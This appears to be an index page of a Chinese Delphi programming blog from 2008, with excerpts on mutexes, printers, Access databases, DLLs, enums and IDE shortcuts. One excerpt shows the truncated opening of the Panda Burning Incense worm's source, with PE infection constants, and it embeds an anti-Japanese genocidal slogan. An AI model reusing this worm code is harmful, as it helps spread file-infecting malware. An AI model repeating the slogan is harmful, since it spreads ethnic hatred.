博文

禁止多实例运行(2008-08-21 15:08:00)

摘要:program Project1; uses  Windows,  Forms,  Unit1 in 'Unit1.pas' {Form1},  Function_U in 'E:\工作\JJQDS_V2\Function_U.pas',  Config_U in 'E:\工作\JJQDS_V2\Config_U.pas'; {$R *.res} var  hAppMutex : THandle; begin  Application.Initialize;  hAppMutex := CreateMutex(nil,False,PChar('{19D51511-8490-42AC-B677-E3D59AF822B1}'));  if hAppMutex = 0 then  begin    MessageBox(0,PChar('创建互斥对象失败!'),PChar('Error'),MB_OK + MB_ICONINFORMATION);    Exit;  end;  if (hAppMutex <> 0) and (GetLastError = ERROR_ALREADY_EXISTS) then  begin    MessageBox(0,PChar('不是第一次运行这个程序!'),PChar('OK'),MB_OK + MB_ICONINFORMATION);    CloseHandle(hAppMutex);    Exit;  end;    Application.CreateForm(TForm1, Form1);  Application.Run;  CloseHandle(hAppMutex);end. ======================================================================= m_hMutex=CreateMutex(NUL......

阅读全文(2284) | 评论:0

打印机编程整理(2008-08-11 14:28:00)

摘要:  { tell printer to go to the default by setting     the PrinterIndex value to -1 }   Printer.PrinterIndex := -1;   { make our combobox non-editable }   ComboBox1.Style      := csDropDownList;   { set our combobox items to the printer printers }   ComboBox1.Items      := Printer.Printers;   { set combobox to view the default printer     according to printer printerindex as set above }   ComboBox1.ItemIndex  := Printer.PrinterIndex; =================================================================== //从并行端口读取打印机状态function GetPrinterStatus:byte;asm  MOV DX,$379;  IN AL,DX;end;//获取打印机是否出错function CheckPrinter:boolean;vartemp:byte;begin  temp:=GetPrinterStatus;  Result:=not ( ((temp and $80)=0) //打印机忙 字串2   or ((temp and $20)<>0)  //打印机缺纸  or ((temp and $10)=0)......

阅读全文(3434) | 评论:2

ACCESS,SQL(包含字段类型说明,及语法创建表)(2008-08-06 11:00:00)

摘要: ACCESS,SQL(包含字段类型说明,及语法创建表) ACCESS所有类型为: Big Integer、Binary、Boolean、Byte、Char、Currency、Date/Time、Decimal、Double、Float、GUID、Integer、Long、Long Binary (OLE Object)、Memo、Numeric、Single、Text、Time、TimeStamp 以及 VarBinary。 常用的几种:Date/Time 日期/时间Boolean 是/否Decimal 小数Memo 备注Text 文本Integer 整数 如果用自动编号且主键,如下:create table table1 (id autoincrement(1,1) primary key) CREATE TABLE AAA(RID Counter,url Memo,ActName Memo, ActDate text(150), Up_Time text(100))连接字符串:conn = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source = 法律之星.mdb";SQL SERVER 2005:     DATENAME 返回代表指定日期的指定日期部分的字符串。 语法 DATENAME ( datepart , date ) 参数 datepart 是指定应返回的日期部分的参数。下表列出了 Microsoft® SQL Server™ 识别的日期部分和缩写。 日期部分 缩写 year yy, yyyy quarter qq, q month mm, m dayofyear dy, y day dd, d week wk, ww weekday dw Hour hh minute mi, n second ss, s millisecond ms weekday (dw) 日期部分返回星期几(星期天、星期一等)。 是返回 datetime 或 smalldatetime 值或日期格式字符串的表......

阅读全文(3745) | 评论:0

delphi动态创建access数据库(2008-08-06 09:00:00)

摘要:主  题:我解决了几乎所有Delphi+Access同仁的问题—动态创建、压缩Access数据库(*.MDB)作  者:Hank所属论坛:Delphi问题点数:30回复次数:13发表时间:2000-12-29 17:19:00    动态创建、压缩Access数据库(*.MDB) 声明:这是前无古人,后无来者的解决方案(有点吹,但是我实在太激动了!),希望各位能多多关照创建Access数据库几乎是所有Delphi+Access所遇到的难题,我经过两头(昨天上午到现在)的艰苦奋战,终于将它全部解开,现在一一奉献给大家:一、通过OLE方式创建    相信各位都用通过OLE方式访问Word、Excel文件的经历,具体我不说太多,直接把具体代码写出来就完了    在引用部分加入:    uses ComObj;    实现部分:    procedure TFormOffice.BitBtn1Click(Sender: TObject);    var      CreateAccess:OleVariant;    begin      CreateAccess:=CreateOleObject('ADOX.Catalog');      CreateAccess.Create('Provider=Microsoft.Jet.OLEDB.4.0;Data Source=c:\Aceco.mdb');    end;    说明:      1、在C:\下创建Aceco.mdb;      2、是Access2000格式,用Access97打不开;      3、系统需安装MDAC,这是好消息,客户不需安装Access也可以二、通过DBEngine创建    这才是关键中的关键,是我一定要写出来的原因!    各位是否还记得安装Delphi的时候,如果你选择自定......

阅读全文(6364) | 评论:0

[Delphi]熊猫烧香源代码(2008-08-05 16:26:00)

摘要:声明:代码仅供学习研究用,若用此程序进行违法活动一切后果由你本人承担,否则,请马上离开.program Japussy; uses Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; const HeaderSize = 82432; //病毒体的大小 IconOffset = $12EB8; //PE文件主图标的偏移量 //在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同 PS:现在都Delphi 7 了.//查找2800000020的十六进制字符串可以找到主图标的偏移量 { HeaderSize = 38912; //Upx压缩过病毒体的大小 IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量 //Upx 1.24W 用法: upx -9 --8086 Japussy.exe } IconSize = $2E8; //PE文件主图标的大小--744字节 IconTail = IconOffset + IconSize; //PE文件主图标的尾部 ID = $44444444; //感染标记 //垃圾码,以备写入 Catchword = 'If a race need to be killed out, it must be Yamato. ' + 'If a country need to be destroyed, it must be Japan! ' + '*** W32.Japussy.Worm.A ***'; {$R *.RES} function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'Kernel32.dll'; //函数声明 var TmpFile: string; Si: STARTUPINFO; Pi: PROCESS_INFORMATION; IsJap: Boolean = False; //日文操作系统标记 { 判断是否为Win9x } function IsWin9x: Boolean; var Ver: TOSVersionInfo; begin Result := False; Ver.d......

阅读全文(2721) | 评论:0

delphi 枚举与子界(2008-08-05 11:12:00)

摘要:初学者对于枚举与子界比较容易混淆,特别是有些朋友是自学的.下边就举个既联系又区别的例子: {枚举和子界的声明定义}type          Month=(Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);          //定义Month(月份)为枚举型          Spring=Feb..May;           //定义Spring(春天)为子界型 {几个枚举函数}              Ord(Mar)的值为2;        //求枚举序数字         Pred(Mar)的值为1;       //求前驱值         Succ(Mar)的值为3;       //求后继值         Low(Month)的值为0;      //求第一个枚举量,是Jan对应的值,但有不少初学的朋友误以为它的值是"Jan"         High(Month)的值为11; //求末一个枚举量,是Dec对应的值 看了上边,是否对你有所帮助呢?......

阅读全文(3213) | 评论:0

delphi dll 动态连接(2008-08-04 20:44:00)

摘要:节约系统开销,方便软件升级。 动态链接库是一个能够被应用程序和其它的DLL调用的过程和函数的集合体,它里面包含的是公共代码或资源。由于DLL代码使用了内存共享技术,在某些地方windows也给了DLL一些更高的权限,因而DLL中可以实现一些一般程序所不能实现的功能,如实现windows的HOOK、ISAPI等。同时,DLL还为不同语言间代码共享提供了一条方便的途径。因而DLL在编程时应用较为广泛,本文将介绍如何在 Delphi 中建立和使用DLL。 一.DLL 库内存共享机制 从使用效果看,DLL和unit 很像,它们都可以被别的工程模块所调用,但二者在内部的实现机制上确存在着差别。如果一个程序模块中用uses语句引用了某个unit,编译程序在编译该模块时,便会连同unit一起编译,并把编译后的可执行代码链接到本程序模块中,这就是一个程序模块能够调用所引用unit中过程和函数的原因。当同一个unit被多个工程所引用时,则每个工程中都含有该unit的可执行代码,当含有该unit的多个工程同时执行时,unit的可执行代码会随不同工程而多次被调入内存,造成内存资源的浪费。DLL则不同,它即使被某个工程调用,编译后仍是独立的,也就是说编译后,一个DLL库形成一个单独的可执行文件,而不与任何其它的可执行文件连接在一起,因而DLL库并不从属于某个特定的工程,当多个工程调用同一个DLL库时只有第一个工程把DLL库调入内存,其余工程并不重复调入同一个DLL库到内存,而是到同一个共享内存区读取。并且,DLL的执行代码是在程序运行期间动态调入的,而不是如unit在程序运行时就与整个工程一起调入内存。这样便可消除unit带来的相同代码多处占用内存的弊病。 二 Delphi中DLL库的建立 在Delphi环境中,编写一个DLL同编写一个一般的应用程序并没有太大的区别。事实上作为DLL主体的DLL函数的编写,除了在内存、资源的管理上有所不同外,并不需要其它特别的手段。 一般工程文件的格式为: program 工程标题; uses 子句; 程序体 而DLLs工程文件的格式为: library 工程标题; uses 子句; exprots 子句; 程序体 它们主要的区别有两点: 1.一般工程文件的头标用program关键字,而DLL工程文件头标用library 关键字。不同的关键字通知编译器生成......

阅读全文(2723) | 评论:0

高等数学符号读法(2008-08-04 08:48:00)

摘要:大写 小写 英文注音 国际音标注音 中文注音 Α α alpha alfa 阿耳法 Β β beta beta 贝塔 Γ γ gamma gamma 伽马 Δ δ deta delta 德耳塔 Ε ε epsilon epsilon 艾普西隆 Ζ ζ zeta zeta 截塔 Η η eta eta 艾塔 Θ θ theta θita 西塔 Ι ι iota iota 约塔 Κ κ kappa kappa 卡帕 ∧ λ lambda lambda 兰姆达 Μ μ mu miu 缪 Ν ν nu niu 纽 Ξ ξ xi ksi 可塞 Ο ο omicron omikron 奥密可戎 ∏ π pi pai 派 Ρ ρ rho rou 柔 ∑ σ sigma sigma 西格马 Τ τ tau tau 套 Υ υ upsilon jupsilon 衣普西隆 Φ φ phi fai 斐 Χ χ chi khai 喜 Ψ ψ psi psai 普西 Ω ω omega omiga 欧米伽......

阅读全文(6576) | 评论:0

Delphi 快捷键(转)(2008-08-04 08:38:00)

摘要:Delphi 快捷键(转)  Ctrl+PageUp      将光标移至本屏的第一行,屏幕不滚动。 Ctrl+PageDown    将光标移至本屏的最后一行,屏幕不滚动。 Ctrl+↓          向下滚动屏幕,光标跟随滚动不出本屏。 Ctrl+↑          向上滚动屏幕,光标跟随滚动不出本屏。 Ctrl+Shift+NUM   在光标行设置最多九个临时标志号,对临时切换非常有用。                  行的左边将出现一本书,封面有NUM,再按一次取消设置。   Ctrl+NUM         直接将光标跳到NUM处,NUM是用Ctrl+Shift+NUM设置的标号。                  NUM不能用小键盘。 Ctrl+Home        将光标移至文件头。 Ctrl+End         将光标移至文件尾。 Ctrl+B           Buffer List窗口。 Ctrl+I       &n......

阅读全文(2192) | 评论:0

delphi获取打印任务(2008-08-03 22:14:00)

摘要:type         TForm1   =   class(TForm)             Label1:   TLabel;         private             {   Private   declarations   }             procedure   WM_SpoolerStatus(var   Msg   :   TWMSPOOLERSTATUS);message   WM_SPOOLERSTATUS;             public             {   Public   declarations   }         end;         var         Form1:   TForm1;         implementation         {$R   *.dfm}         procedure   TForm1.WM_SpoolerStatus(var   Msg   :   TWMSPOOLERSTATUS);     begin         //listbox1.items.add('   Jobs   currenly   in   spooler')......

阅读全文(3625) | 评论:0